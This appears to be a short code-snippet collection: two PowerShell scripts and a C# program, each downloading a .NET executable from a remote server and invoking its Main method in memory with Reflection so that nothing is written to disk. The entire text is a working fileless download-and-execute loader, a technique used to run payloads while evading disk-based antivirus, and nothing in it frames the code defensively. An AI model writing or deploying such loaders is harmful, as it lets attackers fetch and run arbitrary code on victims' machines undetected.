Load the main of an executable from a remote server, without touching disk.

dynamic-main-load-executable-main.ps1

$url = "http://server/dotnetexecutable"
$data = (New-Object System.Net.WebClient).DownloadData($url);
$assem = [System.Reflection.Assembly]::Load($data);
$main = $assem.EntryPoint
$main.Invoke(0, @(,[string[]]@("args0")));

load-executable-main.cs

using System;
using System.Net;
using System.Reflection;
public class Run {
    public static void Main() {
        string url = "http://server/dotnetexecutable";
        WebClient wc = new WebClient();
        byte[] bytes = wc.DownloadData(url);
        string[] args = new string[] {"args0"};
        Object[] parameters = new object[] {args};
        Assembly.Load(bytes).GetType("Namespace.Class").GetMethod("Main",  BindingFlags.NonPublic|BindingFlags.Static).Invoke(0, parameters);
    }
}

load-executable-main.ps1

$data = (New-Object System.Net.WebClient).DownloadData('http://server/dotnetexecutable');
$assem = [System.Reflection.Assembly]::Load($data);
$class = $assem.GetType("Namespace.Class");
$method = $class.GetMethod('Main', [Reflection.BindingFlags]'NonPublic, Static');
$method.Invoke(0, @(,[string[]]@("args0")));